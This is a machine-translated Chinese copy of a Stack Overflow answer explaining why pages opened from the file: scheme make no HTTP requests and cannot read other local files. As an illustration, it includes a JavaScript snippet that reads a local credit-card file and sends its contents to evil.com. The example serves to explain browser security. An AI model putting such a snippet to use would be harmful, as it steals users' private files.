首先,一個HTTP請求如下:
GET/HTTP/1.1
Host: stackoverflow.com
… more headers …
它是由一個服務器,然後才能決定與任何迴應接收。當你的瀏覽器顯示本地頁面時,它實際上並沒有提出任何請求;沒有服務器來接收它們。它只是特例 - file:
方案並顯示文件。
至於爲什麼你不能從本地文件請求其他本地文件:這將是一個巨大的安全問題。您可以顯示其他網頁從本地文件,所以想象一下:您保存網頁,一天後打開它,並在它是:
<script>
var rq = new XMLHttpRequest();
rq.open('GET', 'file:///C:\\Users\\some intelligent guess\\' +
'Desktop\\credit card info.txt', false);
rq.send(null);
document.location = 'http://evil.com/save?data=' + encodeURIComponent(rq.responseText);
</script>
易被盜。另一方面,只有當用戶使用文件瀏覽對話框手動選擇要讀取的文件時,才能使用HTML5讀取本地文件。該網頁沒有權限讀取任意文件而無需交互。
這不是這種類型的問題的地方。它太廣泛了。 – Anonymous 2014-08-31 00:38:56
Ajax需要一個[來源驗證](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)和'file://'沒有一個。 「[原始空值是不允許訪問控制允許來源](http://stackoverflow.com/questions/8456538/origin-null-is-not-allowed-by-access-control-allow-origin)」 – 2014-08-31 00:39:05
@Anonymous你會推薦什麼我得到這個問題的答案?我不知道任何關鍵詞(因爲我是新手)使用Jonathan的鏈接,所以很難找到答案。我發現大多數教程只是說「啓動tomcat」,但不要解釋爲什麼我想我會問這裏。 – SelfSurgery 2014-08-31 01:04:19